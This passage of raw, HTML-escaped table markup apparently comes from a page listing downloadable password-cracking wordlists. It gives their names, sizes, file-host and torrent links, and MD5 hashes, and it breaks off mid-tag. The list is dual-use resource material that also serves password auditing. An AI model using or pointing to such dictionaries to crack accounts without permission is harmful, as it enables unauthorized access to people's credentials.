style="font-weight: normal;"&gt;(Extracted/ Compressed)&lt;/div&gt;&lt;/th&gt;       &lt;th&gt;Download &lt;/th&gt;       &lt;th&gt;MD5&lt;/th&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;a href="http://thepiratebay.org/torrent/6300469/Collection_of_Wordlist_%28Dictionaries%29___V.2_NEW____for_Cracking_"&gt;Collection of Wordlist v.2&lt;/a&gt;&lt;/td&gt;       &lt;td style="text-align: right;"&gt;374806023&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;(3.9GB / 539MB)&lt;/span&gt;&lt;/td&gt;       &lt;td&gt;&lt;a href="http://www.mediafire.com/download.php?e5v4q79yf7d5r3a"&gt;Part 1&lt;/a&gt;, &lt;a href="http://www.mediafire.com/download.php?o8ri742gair8g6d"&gt;Part 2&lt;/a&gt;, &lt;a href="http://www.mediafire.com/download.php?7w695b1k1b1b903"&gt;Part 3&lt;/a&gt;&lt;/td&gt;       &lt;td&gt;5510122c3c27c97b2243208ec580cc67&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;a href="http://www.megaupload.com/?d=SNK18CU0"&gt;HuegelCDC&lt;/a&gt;&lt;/td&gt;       &lt;td style="text-align: right;"&gt;53059218&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;(508MB / 64MB)&lt;/span&gt;&lt;/td&gt;       &lt;td&gt;&lt;a href="http://www.mediafire.com/?blvzrvqlrvrm0ny"&gt;Part 1&lt;/a&gt;&lt;/td&gt;       &lt;td&gt;52f42b3088fcb508ddbe4427e8015be6&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;a href="http://diablohorn.wordpress.com/2010/03/21/gotta-love-compression/"&gt;Naxxatoe-Dict-Total-New&lt;/a&gt;&lt;/td&gt;       &lt;td style="text-align: right;"&gt;4239459985&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;(25GB / 1.1GB)&lt;/span&gt;&lt;/td&gt;       &lt;td&gt;&lt;a href="http://www.mediafire.com/download.php?kvntczux7i5bo2c"&gt;Part 1&lt;/a&gt;, &lt;a href="http://www.mediafire.com/download.php?3czep4kxmso1kd7"&gt;Part 2&lt;/a&gt;, &lt;a href="http://www.mediafire.com/download.php?twdlv7tf9f0xbdg"&gt;Part 3&lt;/a&gt; &lt;br /&gt;&lt;a href="http://www.
